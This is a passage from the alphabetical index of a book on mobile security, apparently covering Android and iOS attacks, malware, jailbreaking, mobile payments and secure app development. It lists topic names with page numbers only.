data storage, 86, 110–112, 226
debugging. See debugging
decompiling, 91–92, 94, 203–204
development of. See app development
disassembly, 91, 93–94
intent-based attacks, 103–105
network traffic, 95–102
NFC standards, 86–87
NFC-based attacks, 105–108
repackaging, 93–94
reverse engineering, 203–204
rooting, 89–91
sensitive data leakage, 109–118
services, 86
signing, 85
WebView and, 227–229

Android Beam, 87
Android Debug Bridge. See ADB
Android Developers website, 83
Android devices, 81–118. See also mobile 

devices
antivirus software, 139
command injection, 103–105

INDEX
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data storage, 86, 110–112, 226
disclosure vulnerability, 14
emulation, 87–88, 97
GingerBreak exploit, 90
history, 92
HTC, 14
Ice Cream Sandwich attack, 90–91
intent-based attacks, 103–105
market share, 145
network-based attacks, 95–102, 117–118
NFC standards, 86–87
NFC-based attacks, 105–108
overview, 92–983
passwords, 111–112, 113
physical access, 9–10, 91
proxy servers, 95, 97–102
sensitive data leakage, 109–118

Android emulator, 87–88, 97
Android Exploid Crew, 90
Android Intents, 231–232
Android KeyStore, 225
Android NDK, 83
Android Open Source Project (AOSP), 118
Android OS. See also OS

Application Framework, 82–83, 84
architecture, 82–83
CA certificates, 95–97
clipboard, 229
custom URI schemes, 172–174
fragmentation, 12–13, 82
JavaScript Bridges exploits, 177–182
kernel, 82–83, 84
Linux and, 34, 82–83
log files, 229
malware, 120–140, 144–146
network-based attacks, 95–102
penetration testing, 266–267
permissions, 84, 105, 107
Runtime component, 82
sandboxing, 14–15
security and. See Android security
source code, 82

Android SDK, 83, 87, 107
Android security. See also security

considerations, 222
file system protections, 225–226
fragmentation, 12–13

guidelines, 231–232
resources, 232
secure storage, 225
security model, 84–85
security patches, 220–221
trusted CA certificates, 95–97
WebView injection, 177–180

Android Security eAndroid Security Best 
Practices for Developers, 232

Android Security Overview, 232
Android Security Suite Premium, 133
Android system logs, 14–15
Android virtual device (AVD), 88
AndroidManifest.xml file, 84, 89, 172, 174
anti-debugging, 221
antivirus software, 90, 139
AOSP (Android Open Source Project), 118
APDU (application protocol data unit), 224, 

239–240, 241
APDU commands, 239, 248–252, 250
APDU responses, 250
APIs (application program interfaces)

Enterprise Security API, 151
Java API for XML Processing, 153, 

154–155
keychain, 224–225
native, 219
Secure Element, 242
SmartCard, 242

APKs (application package files), 89, 148
app development, 211–233

Android apps, 87–89, 231–232
assets, 216–218
cross-platform, 219
guidance, 218–232
iOS apps, 229–231
overview, 212
preparation, 218–221
resources, 232
security guidelines, 218–232
testing, 232
threat modeling, 212–218, 219
writing secure code, 17

app logic-bypass attacks, 201–203
App Store

described, 51
malware, 70–73
native apps, 219
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app store account owners, 216
app store curators, 216
app stores

Apple App Store. See App Store
Cydia Store, 56, 58–60, 63, 67, 207
Google Play store, 13, 93, 120, 145, 219
private, 220
third-party, 146

Apple, 13, 216
Apple App Store. See App Store
Apple devices. See iPhones
Apple iForgot password reset, 11
Apple iOS. See iOS
Apple iPhone. See iPhones
Apple LLVM compiler, 230
Apple market share, 145
Apple Secure Coding Guide, 230, 232
Apple TV

introduction of, 49
jailbreaking, 57

application binaries, 206
application developers. See developers
Application Framework, 82–83, 84
application package files (APKs), 89, 148
application PINs, 14
application program interfaces. See APIs 

(application program interfaces)
application protocol data unit. See APDU
application publishers, 216
application signing, 201
application store curators, 6
application stores. See app stores
Application Verification Service, 139
application-specific UUIDs, 217, 219
apps. See also Android apps; iOS apps; 

specific apps
approval process, 145–146
banking, 236
bundled, 63, 74
countermeasures, 76
developing. See app development
input validation, 15
integrity, 17, 220
jailbreaking. See jailbreaking
legacy parts of, 222
logic-bypass attacks, 201–203

maintaining, 220–221
malicious. See malware
MDM client, 192, 197–198, 200
for mobile payments, 243–255
modification attacks, 201–203
native, 219, 227
patches. See security patches
penetration testing, 263–267
PINs. See PINs
publication, 7
Remote Lock feature, 209
Remote Wipe feature, 209
risks, 11–17
sandboxing, 14–15
screenshots, 231
security of. See security
side-loading, 14
signing, 85
testing, 232
third-party, 14, 51, 71, 74–75, 77
threat modeling, 212–218, 219
Trojan horse, 7
vulnerable, 73–76
web. See web apps
WebView and, 227–229

ARC (Automatic Reference Counting), 
230–231

architecture risk analysis, 7
ARM (Advanced RISC Machine), 50
ARM code, 184
ARM executable, 178–179
ARM processors, 50
Arxan tool, 94
Asian Child virus, 144
ASLR (Address Space Layout 

Randomization), 51, 52, 85, 230, 231
assets, 6, 216–218
Astley, Rick, 65–66, 141, 144, 145
AT&T, 33, 141, 216, 237
attacks. See also exploits; hackers; malware

app logic-bypass, 201–203
app patching, 201–203
base stations, 35–39
Billion Laughs, 152
client-side, 63
control-bypass, 205
debugging. See debugging attacks
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denial of service, 153, 165
femtocell, 39–43, 214–215
flooding, 30–31
FOCUS 11, 68–70
iKee, 65–68
intent-based, 103–105
iOS vs. Android, 12–13
jailbreak detection-bypass, 208–209
JSON injection, 186
local network-based, 63
logic-bypass, 201–203
man-in-the-browser, 5, 128, 214
man-in-the-middle. 

See man-in-the-middle attacks
NFC-based, 105–108
reflection-based, 228–229
relay, 249–253
replay, 165, 250, 254–255
rogue base station, 35–39
rogue femtocell, 39–43
SAML and, 165
session hijacking, 165
signature exclusion, 166
skimming, 253–254
SMS flooding, 30–31
spoofing, 33, 38–39, 40
SQL injection, 148, 225
SSL stripping, 227
URL redirection, 158–161
WS-Attacks project, 149
XML DoS, 165
XML entity expansion, 152–154
XML entity reference, 154–155
XML injection, 150–151
XML signature wrapping, 165–169
against XML-based services, 149–155

authentication. See also authorization; 
credentials

cellular networks, 29
considerations, 221
IPC, 175–177
mobile services, 226–227
password-based. See passwords
weak, 16
web services, 155–169

authentication data, 228
authentication frameworks, 155–169

authentication PINs, 14
authentication protocols, 226
authorization

considerations, 221
mobile services, 226–227
OAuth. See OAuth
web services, 155–169

authorization code grant type, 157–158
authorization frameworks, 155–169
authorization protocols, 226
authorization server, 156
autocomplete attribute, 228
autocorrectionType property, 230
Automatic Reference Counting (ARC), 

230–231
AVD (Android virtual device), 88

▼ ▼ BB
banking apps, 236
banking malware, 120, 128–140, 145
base station controller (BSC), 24–26
base station receivers. See BTS
base station subsystem (BSS), 26
base stations

malicious, 214–215
overview, 24–26
rogue attacks, 35–39

BCCH (Broadcast Control Channel), 27–29
bearer tokens, 217, 224
Bergeron, Doug, 238
Berkeley Software Distribution. See BSD
Billion Laughs attack, 152
Black Hat 2011, 254
Blackberry devices

JavaScript code and, 184
MDM solutions, 190
NFC card emulation, 249
Zitmo and, 133

BlackBerry Enterprise, 190
Bluetooth vulnerabilities, 213–214
Bonjour support, 67
boot-based jailbreak, 53, 54–62
Borgaonkar, Ravi, 171–172
Bouncer tool, 139, 145
“bricking,” 53
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Bring Your Own Device (BYOD), 17
Broadcast Control Channel (BCCH), 27–29
broadcast intents, 85
broadcast receivers, 85
browsers. See web browsers
BSC (base station controller), 24–26
BSD (Berkeley Software Distribution), 34
BSD Unix, 49
BSS (base station subsystem), 26
BTS (base station receivers), 24–26, 29, 39
BTS emulation, 37–38
bug lists, 149
bugs, 10, 58, 63–64, 68, 149
Burp Proxy, 134
Burp Suite, 100, 101–102
BYOD (Bring Your Own Device), 17

▼ ▼ CC
C language, 204, 206, 230, 231
C++ language, 206, 231
CA (certificate authority), 95–97, 227
CA certificates, 95–97
CA private keys, 227
Cabir worm, 120
cache

app screenshots, 231
JavaScript bridges and, 221
keyboard, 230
WebView, 117, 221, 227–228

cached credentials, 227
Caja, 223
call data, 217, 224
caller ID spoofing, 33
camera data, 217, 224
C-APDU (command), 239–240
Captain Hook framework, 202
Carberp Trojan horse, 134
card verification value (CVV), 239
Carrier IQ, 15
Carrier IQ incident, 15
Carrier IQ service, 117
CAVE authentication, 29
C&C numbers, 133
C&C server, 136

CDMA (Code Division Multiple Access) 
network, 22

CDMA networks. See also cellular networks
interoperability, 23–24
security issues, 118
simplified view of, 22

CDMA stack, 39
cell phones. See also mobile devices; 

specific brands
early years, 35–37
jamming, 27

cellular carriers, 35, 82, 216
cellular networks. See also networks

attacks on, 33–43
authentication, 29
basic functionality, 23–33
CDMA. See CDMA networks
control channels, 27–29, 43
GSM. See GSM networks
interoperability, 23–26
overview, 22–23
rogue base station attacks, 35–39
rogue femtocell attacks, 39–43
rogue mobile devices, 34–35
short message service, 30–33
targets, 24
trust model, 35
voice calls, 26–27
voice mailboxes, 30
voicemail hacking, 33

certificate authority. See CA
certificate pinning, 101–102, 221, 227
certificates

self-signed, 201
server, 227
validation, 221, 227

China Mobile SMS Payment system, 125
chmod/chown vulnerability, 90–91
Cigital Threat Modeling, 213
Citi Mobile app, 74
Citmo malware, 134
ClassDump, 204–205
CLDC (Connected Limited Device 

Configuration), 31
clearCache() method, 228
client applications, 156
client credentials grant type, 161
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clients
confidential, 161
native, 228
RIA, 222
thin, 148

client-side attacks, 63
client-side validation, 100
clipboard, 221, 229
code

HTML, 169, 172, 176
HTML5, 169
Java, 91–92, 136, 203
JavaScript, 75, 136, 169, 181–187
PIE, 231
secure/insecure, 17, 149
unknown, 78

Code Division Multiple Access. See CDMA
code execution vulnerabilities, 3
code obfuscation, 94, 204, 206, 221
code signature verification, 51
code signing, 51, 52
collusion, 164
command injection, 103–105
Common Weakness Enumeration 

website, 149
communications, secure, 221, 227
Comodo, 227
Connected Limited Device Configuration 

(CLDC), 31
Consumer Security Checklist, 257–261
contactless payment systems, 236, 238
contactless smartcards, 238–243
contacts, 217, 224
content providers, 85
‘content://’ URI scheme information 

disclosure, 114–116
control channels, 27–29, 43
control-bypass attacks, 205
CookieManager, 228
cookies, 117, 228
Corona app, 53, 59
credentials

cached, 227
OAuth, 161
OpenSSH, 65–68
persisted, 217, 224
SAML and, 163

sensitive, 14
session, 14
SSH, 65–68
stealing, 158
user, 227

crime, organized, 215
cross-platform development, 219
cross-site request forgery (CSRF), 162, 169
cryptographic keys, 223
CSRF (cross-site request forgery), 162, 169
CSRs (Customer Support 

Representatives), 213
curators, 6
custom URI scheme exploits, 169–176
customer reset vulnerabilities, 10
Customer Support Representatives 

(CSRs), 213
customer-support trickery, 10–11
CVV (card verification value), 239
CWE/SANS Top 25 Most Dangerous 

Software errors, 149
Cydia Store, 56, 58–60, 63, 67, 207

▼ ▼ DD
Dalvik byte codes, 201–202, 203
Dalvik Executable (.dex) files, 92
Dangerous permissions, 84
data. See also information entries

authentication, 228
call, 224
camera, 217, 224
clipboard, 221, 229
form, 228
identity, 217, 224
leakage of. See information leakage
location, 217, 224
logs, 221
microphone, 217, 224
personal, 217, 224
security checklist, 257–261
sensitive. See sensitive data
sensor-based, 217, 224
storage of. See storage

data field, 224
data masking, 223
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databases
encryption, 225
mobile, 225
SQLite. See SQLite databases
WebView cookies, 228

data-centric MDM model, 191
dCVV (dynamic CVV), 239
debugging Android apps, 88–89, 91, 244, 248
debugging attacks

Android apps, 203, 204
anti-debugging, 221
iOS apps, 204, 205, 207

debugging iOS apps, 204, 205, 207
decompiling Android apps, 91–92, 94, 

203–204
denial of service (DoS) attacks, 153, 165
design review, 7
developer fees, 146
developers

attracting, 13
considerations, 212
countermeasures to consider, 19–20
data leakage and, 117–118
as stakeholders, 6, 212
writing secure code, 16, 17, 221–232
XDA, 90, 243

Device Firmware Update (DFU) mode, 
55–57

device identifiers, 216–218
device manufacturers, 6, 216
device “owners,” 215, 216
device provisioning, 191, 192–195
device theft, 7, 155–156
device-centric MDM model, 190–191
devices. See mobile devices
.dex (Dalvik Executable) files, 92
dex2jar tool, 92
DFU (Device Firmware Update) mode, 

55–57
Dhanjani, Nitesh, 170
dialer applications, 170–172
DigiNotar breaches, 227
digital signatures, 164
dmcrypt implementation, 226
dmesg buffer, 14, 229
dmesg command, 112
dmesg executable, 14

document type definitions (DTDs), 152, 153, 
154–155

dojox.secure, 223
DoS (denial of service) attacks, 153, 165
DroidDream malware, 121–123
Dropbox app, 75
DTDs (document type definitions), 152, 153, 

154–155
duh worm, 141
dynamic CVV (dCVV), 239
dynamic SQL queries, 225

▼ ▼ EE
Eckhart, Trevor, 15
embedded SE, 238
emulation

Android, 87–88, 97
BTS, 37–38
smartcards, 39, 86, 87, 249
SMS, 88
telephony, 88

EMV specifications, 252
encryption

database, 225
device, 259
files, 225
file-system, 226
iOS, 259
message-level, 165, 250
password-based, 225
XML, 165

encryption key, 94, 112, 225
end users, 6
EnsureIT, 207
Enterprise Security API (ESAPI), 151
EntityResolver object, 155
ESAPI (Enterprise Security API), 151
ESPN ScoreCenter app, 75
evasi0n app, 53, 59–62, 146
exploid exploit, 122
exploits. See also attacks

custom URI scheme, 169–176
exploid, 122
GingerBreak, 90
JavaScript Bridges, 177–187
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kernel-level, 63–65, 73, 244
mempodroid, 244
privilege escalation, 244
RageAgainstTheCage, 122
root, 89–91, 179
Samsung Exynos kernel, 244
UIWebView, 182–184
URI scheme, 169–176

external-general-entities feature, 
154–155

external-parameter-entities 
feature, 154–155

▼ ▼ FF
Facebook app, 75
Facebook SDK, 112–113
FakeToken malware, 134–140
FEATURE_SECURE_PROCESSING 

feature, 153
federated identity, 163
femtocell attacks, 39–43, 214–215
femtocells, 214
file system protections, 225–226
files

.dex, 92
encryption, 225
IPSW, 54, 56
log. See log files
.odex, 92
WSDL, 150
XML, 150, 192

file-system encryption, 226
Find and Call malware, 141
Firefox browser, 91–94
firmware image, iOS, 54
flooding attacks, 30–31
FOCUS 11 attacks, 68–70
font-related bugs, 64
form data, 228
forms, 227–228
fragmentation, 12–14, 82
Franken, Zac, 254

▼ ▼ GG
Galaxy Nexus, 238
GCC (GNU Compiler Collection), 230
GFan, 125
GingerBreak exploit, 90
Global System for Mobile. See GSM
GlobalPlatform association, 239
GlobalPlatform specifications, 239
Gmail, 11, 68, 69
GNU Compiler Collection (GCC), 230
GOOD app, 203
GOOD for Enterprise, 190, 209
Google, 82
Google Android. See Android
Google market share, 145
Google Play store, 13, 93, 120, 145, 219
Google Wallet

card emulation, 87
considerations, 242, 243–253
overview, 236–237
PIN storage vulnerability, 243–248

Google Wallet Cracker, 245, 247–249
GPS service, 217, 252
grant types, 156–162
GSM (Global System for Mobile) networks. 

See also cellular networks
considerations, 35–36
control channels, 27–29
vs. IMS systems, 44
interoperability, 23–26
location updates, 29
MCC/MNC chart, 36
simplified view of, 22, 24–25
spoofing, 38–39

GSM stack, 39
“Guidelines for Managing and Securing 

Mobile Devices in the Enterprise,” 232

▼ ▼ HH
hacker tools, 214
hackers, 213–215. See also attacks

iOS vs. Android OS, 12–13
overview, 213–214
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script kiddies, 213, 214
security patches and, 220–221

Hacking Exposed Web Applications, 149
hacking voicemail, 30, 33
Hamcke, Gerhard, 249
handleOpenURL method, 175, 176
Handy Light app, 70–73
hard code cryptographic keys, 223
hardware, security, 224
HLR (Home Location Register), 29
Home Location Register (HLR), 29
Honan, Mat, 11
hostname validation, 227
HTC Android devices, 14
HTC keystroke logging incident, 15
HTML code, 169, 172, 176
HTML native functionality, 177
HTML5 code, 169
HTTP redirects, 163
HTTP requests, 152–153, 160
HTTP responses, 154
HTTP traffic, 98, 102, 134
HTTPS traffic, 95, 97, 99, 102
hybrid MDM model, 191

▼ ▼ II
IBM X-Force, 3
Ice Cream Sandwich OS version, 95–96
Ice Cream Sandwich vulnerability, 90–91
ICMP requests, 67
identifiers, 226–227
identify provider. See IdP
identity data, 217, 224
identity federation, 163
IdP (identify provider), 163
IdP private key, 166–167
iExplorer app, 77
iForgot password reset, 11
iKee worm, 65–68, 141–144
IMAP mailboxes, 30
IMEI (International Mobile Station 

Equipment Identity), 121
IMEI number, 123, 172
implicit grant type, 158–160
IMS (IP multimedia subsystem), 43–46

IMSI (International Mobile Subscriber 
Identity), 121

information gathering, 264. See also data
information leakage, Android, 109–118

mitigation strategies, 117–118
shared preferences, 117
SMS messages, 118
SQLite databases, 109–110, 117
via external storage, 110–112, 226
via insecure components, 113–116
via internal files, 109–110
via logs, 112–113, 117, 221
WebKit/WebView, 117

information leakage, general, 14–15, 221, 229
infrastructure operators, 216
init vulnerability, 90–91
input validation, 15, 151, 229
Instagram app, 75
InstaStock app, 70–73
instrumentation, 264
Integrated Services Digital Networks 

(ISDN), 24
integrity, 17, 220
intent-based attacks, 103–105
intents, 85, 103–105, 231–232
interface extractors, 204–205
International Mobile Station Equipment 

Identity. See IMEI
International Mobile Subscriber Identity 

(IMSI), 121
Internet

cellular connections to, 71
public, 22, 25
risks of, 11–12, 46

Internet access, 5
interoperability, 23–26
inter-process communication. See IPC
IO bus, 7
iOS, 47–79. See also iPhones

BSD and, 34
clipboard, 229
code execution vulnerabilities, 3
custom URI schemes, 175–176
device lock, 77, 78
fragmentation and, 12
hacking other people’s phones, 62–77
history, 49–50
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jailbreaking devices. See jailbreaking
JavaScript Bridges exploits, 182–184
kernel-level exploits, 53, 63–65, 75
keychain, 16, 224–225
log files, 229
malware, 140–146
network-based attacks, 62–63, 67, 

68–70
overview, 48
PDF bugs, 58, 63–64, 68
penetration testing, 264–266
Safari browser, 63, 65, 74
sandboxing, 51, 52, 63–64
WebView JavaScript Bridge exploit, 

182–184
iOS application snapshots, 14
iOS apps. See also apps; specific apps

debugging. See debugging
development of. See app development
reverse engineering, 204–207
secure coding guidelines, 205–207
UIWebView and, 227–229

iOS class dump, 206
iOS Developer Library, 232
iOS devices. See also iPhones

iPad, 48, 49, 53
iPad mini, 48, 49, 53
iPod Touch, 48, 49, 53

iOS encryption, 259
iOS kernel, 146
iOS keyboard cache, 14
iOS security. See also security

considerations, 222
file system protections, 225
fragmentation, 12–13
guidelines, 229–231
iOS apps, 205–207
overview, 48, 51–52
resources, 232
secure storage, 224–225

iOS UDH reply-to hack, 32
iOS-based devices. See iPhones
IP multimedia subsystem (IMS), 43–46
IP networks, 44
iPad, 48, 49, 53
iPad mini, 48, 49, 53
IP-based voicemail, 30

IPC (inter-process communication), 103, 
117, 175

IPC authentication, 175–177
iPhone apps. See iOS apps
iPhones. See also iOS; mobile devices

considerations, 48
data storage. See storage
firmware “prep” software 

malware, 140
FOCUS 11 attacks, 68–70
hacking other iPhones, 62–77
history of, 49
iKee attacks, 65–68
jailbreaking. See jailbreaking
know your iPhone, 49–50
market share, 145
overview, 49–50, 62–64
passcodes, 77
passwords, 11, 75, 76–77
physical access, 9–10, 76–77, 78
third-party apps and, 51

iPod Touch, 48, 49, 53
IPSec-protected endpoints, 43
IPSW (iOS firmware) files, 54, 56
IPv4, 43
IPv6, 43
ISDN (Integrated Services Digital 

Networks), 24
Isis Mobile Wallet, 16, 237, 238
IT department, 216

▼ ▼ JJ
J2ME devices, 120
jailbreak detection-bypass attacks, 208–209
jailbreak software, 52–53
jailbreak tools, 208
jailbreaking, 52–62

Absinthe app, 53, 59
Apple TV, 57
apps and, 215
boot-based, 53, 54–62
considerations, 34, 52–53, 67
Corona app, 53, 59
detecting, 207–209
DFU mode, 55–57
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evasi0n app, 53, 59–62
JailbreakMe app, 58–59, 64–65
kernel bug, 63–64
overview, 52–53
PDF bug, 58, 63–64, 68
Redsn0w app, 54–57
remote, 57–59
risks, 215

JailbreakMe. See JBME
jailbreakme.com, 53
jammer, cell phone, 27
JAR archives, 92
jarsigner tool, 94
Java API for XML Processing (JAXP), 153, 

154–155
Java Card applets, 239, 252
Java Card Runtime Environment (JCRE), 

224, 239
Java Card smartcards, 239
Java code, 91–92, 136, 203
Java decompiler, 92
Java language, 201, 231
Java Mobile Information Device Profile 

(MIDP), 31
Java Standard Edition, 239
Javagator browser, 184
JavaScript

Mozilla Rhino and, 184–187
native functionality and, 177
password stealing and, 158
URI scheme disclosure, 116
WebView injection and, 177–180

JavaScript Bridges
addJavascriptInterface 

function, 177–180
Android WebView exploitation, 

177–182
cache and, 221
exploiting, 177–187
iOS UIWebView exploitation, 182–184
Mozilla Rhino engine, 184–187
shouldInterceptRequest 

function, 180–182
WebView injection, 177–180
WebView interaction, 228–229

JavaScript code, 75, 136, 169, 181–187
JavaScript Object Notation. See JSON

JavaScript subsets, 223
JAXP (Java API for XML Processing), 153, 

154–155
JBME 3.0 app, 58–59
JBME (JailbreakMe) 3.0 vulnerability, 64–65
JCRE. See Java Card Runtime Environment
Jensen, Meiko, 166
Jiang, Xuxian, 139
Jobs, Steve, 49
jSMSHider malware, 135
JSON injection attacks, 186
JSON payload, 182, 184–187

▼ ▼ KK
Kampmann, Marco, 166
Keefe, John, 33
kernel

Android OS, 82–83, 84
iOS, 53, 63–65, 75
Linux, 82–83, 84
Samsung Exynos, 244

kernel bugs, 63–64
kernel exploits, 63–65, 73, 244
keyboard cache, 230
keychain, 16, 224–225
keychain access APIs, 224–225
Keychain Dumper, 266
keystrokes, 230
keytool utility, 94
Kindle, 216

▼ ▼ LL
Laurie, Adam, 254
Liao, Lijun, 166
LibertyCrack, 120
Linux kernel, 82–83, 84
Linux OS, 34, 82–84
LiveConnect, 184–188
LLVM compiler, 230
local network-based attacks, 63
location data, 217, 224
location updates, 29
locking devices, 77, 78, 209
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log files
Android, 229
data leakage via, 112–113, 117, 221, 229
data logs, 221
iOS, 229
precautions, 117

logcat command, 113
logcat tool, 94
logging statements, 93
logging URLs, 93
logical control channels, 28, 31
logic-bypass attacks, 201–203
Logo framework, 202
long-term evolution (LTE) model, 44
LTE (long-term evolution) model, 44

▼ ▼ MM
Mac OS X systems, 145
magnetic stripe cards, 238
magnetic stripe reader, 253
malicious apps, 7, 70–73, 214
malicious HTML code, 169
malicious JavaScript code, 169
malware, 119–146. See also attacks

Android, 120–140, 144–146
Android vs. iOS, 144–146
App Store, 70–73
banking, 120, 128–140, 145
considerations, 7
countermeasures, 73
iOS, 140–146
malicious apps, 7, 70–73, 214
trend reports, 3–4

MAM (Mobile Application Management), 
17, 220

man-in-the-browser (MiTB) attacks, 5, 
128, 214

man-in-the-middle (MiTM) attacks
considerations, 5
FOCUS 11 attacks, 68–70
SAML and, 165
session timeouts and, 222–223

manual static analysis, 91
manufacturers, 216
market share, 145

mashups, 226
MasterCard payment applets, 242
Mayer, Andreas, 166
McAfee Mobile Security, 78
McAfee Threats Report, 3
MCC/MNC charts, 36, 37
MCX (Merchant Customer Exchange), 237
MDM (mobile device management), 189–210

advantages of, 220
bypassing MDM policies, 196–203
considerations, 17, 78–79, 220
device provisioning, 192–195
device/runtime integrity, 220
overview, 190
policies, 195–196, 197, 201
Remote Lock feature, 209
Remote Wipe feature, 209

MDM client apps, 192, 197–198, 200
MDM client-server interaction model, 

200, 201
MDM control-bypass attacks, 202, 205
MDM frameworks, 190–191, 201
MDM policy files, 196–198
MDM servers, 192, 195, 197–201
MDN (mobile device number), 16, 226
memory

corrupted, 85, 230
flash, 87
No eXecute bit, 85
nonvolatile, 86

memory cards, 110. See also SD cards
memory corruption attacks, 85
mempodroid exploit, 244
Merchant Customer Exchange (MCX), 237
message-level encryption, 165, 250
microphone data, 217, 224
microSD cards, 238
microSD SEs, 242
Microsoft, 13
Microsoft Threat Modeling, 212
Microsoft Web Sandbox, 223
MIDP (Mobile Information Device 

Profile), 31
Miller, Charlie, 12, 67, 71, 139
MiTB (man-in-the-browser) attacks, 5, 

128, 214
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MiTM attacks. See man-in-the-middle 
attacks

MITRE’s Common Weakness Enumeration 
website, 149

MNOs (mobile network operators), 6, 24, 
41–43, 141, 172

mobile application developers. See 
developers

Mobile Application Management (MAM), 
17, 220

mobile apps. See apps
mobile carriers, 35, 82, 216
mobile databases, 225
mobile development security. See app 

development
mobile device management. See MDM
mobile device number (MDN), 16, 226
mobile devices. See also specific devices

Airplane Mode, 79
Android. See Android devices
“bricking,” 53
data storage. See storage
device provisioning, 192–195
identifiers, 216–218, 226–227
integrity, 220
iOS. See iPhones
location updates, 29
locking, 77, 78, 209
networks. See cellular networks
on-device storage insecurity, 15–16
perceived insecurity of, 3–4
physical access, 9–10, 76–77, 78
risks. See risks
rogue, 34–35
runtime environment integrity, 220
Samsung, 14, 91, 172
scale of, 2–3
session timeout, 222–223

Mobile Directory Number (MDN), 226
mobile ecosystem, 2–4
Mobile Information Device Profile (MIDP), 31
mobile malware. See malware
mobile network operators (MNOs), 6, 24, 

41–43, 141, 172
mobile OS vendors, 6
mobile payments, 235–256

applications, 243–255

contactless smartcards, 238–243
contactless systems, 236, 238
current technology, 236–238
Google Wallet. See Google Wallet
Google Wallet Cracker, 248–249
Isis Mobile Wallet, 237, 238
magnetic stripe cards, 238
MCX, 237
overview, 236
PINs. See PINs
relay attacks, 249–253
replay attacks, 254–255
scenarios, 236
Secure Element, 238–242
skimming attacks, 253–254
Square system, 238, 253–255
VeriFone, 238, 253

mobile phenomenon, 3
mobile phones. See cell phones
mobile risk model, 4–17
Mobile Safari browser, 63, 65, 74
mobile security. See security
mobile services. See also web services

authentication/authorization, 226–227
timeouts, 227

Mobile Switching Center (MSC), 26, 29
mobile terminals (MTs), 24
mobile threat graph, 3, 4
mobile threat modeling, 6–7, 212–218, 219
mobile transaction authentication numbers 

(mTANs), 129, 130, 133, 134, 138
mobile web browsers. See web browsers
mobile web design, 219
mobile WebView. See WebView
MobileIron, 190, 209
MobileSubstrate, 202
mobithinking.com, 2
modems, 37
MODE_WORLD_READABLE mode, 110, 226
MODE_WORLD_WRITEABLE mode, 110, 226
Mozilla Firefox, 91–94
Mozilla Rhino JavaScript Bridges, 184–187
MSC (Mobile Switching Center), 26, 29
mTANs (mobile transaction authentication 

numbers), 129, 130, 133, 134, 138
MTs (mobile terminals), 24
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▼ ▼ NN
NAI (Network Access Identifier), 118
naming conventions, 206
NAND flash technology, 86, 110
native APIs, 219
native applications, 219, 227
native code, 5
Native Development Kit (NDK), 83
NDK (Native Development Kit), 83
Near Field Communication. See NFC
Nessus information disclosure, 111–112
Nessus server, 111–112
Network Access Identifier (NAI), 118
network sockets, 117–118
network-based attacks

Android platform, 95–102, 117–118
iOS platform, 62–63, 67, 68–70

networks. See also cellular networks
Ask To Join, 78
CDMA, 22, 23–24
cellular. See cellular networks
GSM. See GSM networks
IP, 44
ISDN, 24
PSTN, 22
radio, 22, 23
wireless. See wireless networks

News of the World break-ins, 33
NeXT, Inc., 49
NeXTSTEP, 49
NFC (Near Field Communication), 

86–87, 236
NFC card emulation, 249
NFC events, 107–108
NFC guidelines, 232
NFC radio, 238
NFC standards, 86–87
NFC tags, 86, 87, 105–107, 232
NFC-based attacks, 105–108
NickiSpy malware, 123–125
No eXecute (NX) bit, 85
no-cache HTTP header, 228
Normal permissions, 84
NSHTTPCookieStorage classes, 228
NSLog statements, 229
NSURLCache class, 228

NSXMLParser class, 154, 155
NX (No eXecute) bit, 85

▼ ▼ OO
OAuth 2 protocol, 156–162
OAuth client credentials grant type, 161
OAuth code grant type, 157–158
OAuth implicit grant type, 158–160
OAuth (Open Authorization) protocol

components, 156–157
grant types, 157–161
sensitive data storage, 162
threats, 162

OAuth resource owner password credentials 
grant type, 160

Oberheide, Jon, 139
obfuscation, code, 94, 204, 206, 221
Objective-C, 175, 204, 206, 230
OCTAVE (Operationally Critical Threat, 

Asset, and Vulnerability Evaluation), 212
.odex (Optimized DEX) files, 92
offline access, 217
Open Authorization. See OAuth
open source, 82
Open Web Application Security Project. See 

OWASP
OpenBTS, 39
OpenSSH default credentials, 65–68
OPENSTEP, 49
operating system. See OS
Operationally Critical Threat, Asset, and 

Vulnerability Evaluation (OCTAVE), 212
Optimized DEX (.odex) files, 92
organizational IT, 6
organized crime, 215
OS (operating system). See also Android OS; 

iOS
closed vs. open, 13
cross-platform development 

framework, 219
Linux, 34, 82–84
Mac OS X, 145
Unix, 73, 181, 186
Windows, 73, 145

OS access, 5
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OTA (over-the-air), 2
out-of- band password reset, 217
output encoding, 151
over-the-air (OTA), 2
OWASP (Open Web Application Security 

Project), 148–149
OWASP Testing Guide, 149
OWASP Top 10 bug list, 149

▼ ▼ PP
packet unit control (PCU), 26
passcodes, 77, 196–197, 198
password reset, 217
password-based encryption, 225
Password-Based Key Derivation Function 2 

(PBKDF2), 111–112, 225
passwords. See also authentication; 

credentials
Android devices, 111–112, 113
considerations, 155–156
device theft and, 155–156
iForgot password reset, 11
iPhone, 11, 75, 76–77
keychain, 16, 224–225
reset vulnerabilities, 10
resetting, 16, 217
voicemail, 33

P.A.S.T.A (Process for Attack Simulation and 
Threat Analysis), 213

patches. See security patches
payment applets, 239, 241, 242, 250, 252
payments. See mobile payments
PayPal app, 74–75
PBKDF2 (Password-Based Key Derivation 

Function 2), 111–112, 225
PCU (packet unit control), 26
PDF bugs, 58, 63–64, 68
PDUs (protocol description units), 130–131
penetration testing, 149
penetration testing toolkit, 263–267
permissions, 84, 105, 107, 174
persisted credentials, 217, 224
personal data, 217, 224
phone calls. See voice calls
phones, cell. See cell phones

physical access, 9–10, 76–77, 78
physical access-based attacks, 63
physical risks, 9–10
physical storage, 7
physical theft, 7, 155–156
pictures, 217, 224
PIE (position-independent executable), 51, 230
PIE code, 231
PIN try counter, 224
PINs

application, 14
authentication, 14
data field, 224
mobile apps, 243
storage vulnerability, 243–248
virtual wallet, 224

Play store. See Google Play store
plists, 175, 192
plutil app, 175
policy enforcement, 192
POS hardware, 238
POS terminals, 249, 252
position-independent executable (PIE), 51, 

230, 231
PPSE (Proximity Payment System 

Environment), 239
PPSE applet, 249, 250
preferences, shared, 117
private app stores, 220
privilege escalation exploits, 244
Process for Attack Simulation and Threat 

Analysis (P.A.S.T.A), 213
profile installation, 194
ProGuard tool, 94
Protocol Buffers library, 246
protocol description units (PDUs), 130–131
provisioning profiles, 192–195, 197, 198, 200
Proximity Payment System Environment. 

See PPSE
proxy servers, 95, 97–102
ProxyDroid app, 98–100
PSTN (public switched telephone 

network), 22
public Internet, 22, 25
public switched telephone network 

(PSTN), 22
PUSH notification services, 191
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▼ ▼ QQ
QR codes, 237
queries, 150, 225

▼ ▼ RR
RACH (Random Access Channel), 29
radio networks, 22, 23
radio traffic, 26, 37
radios, 7
RageAgainstTheCage exploit, 122
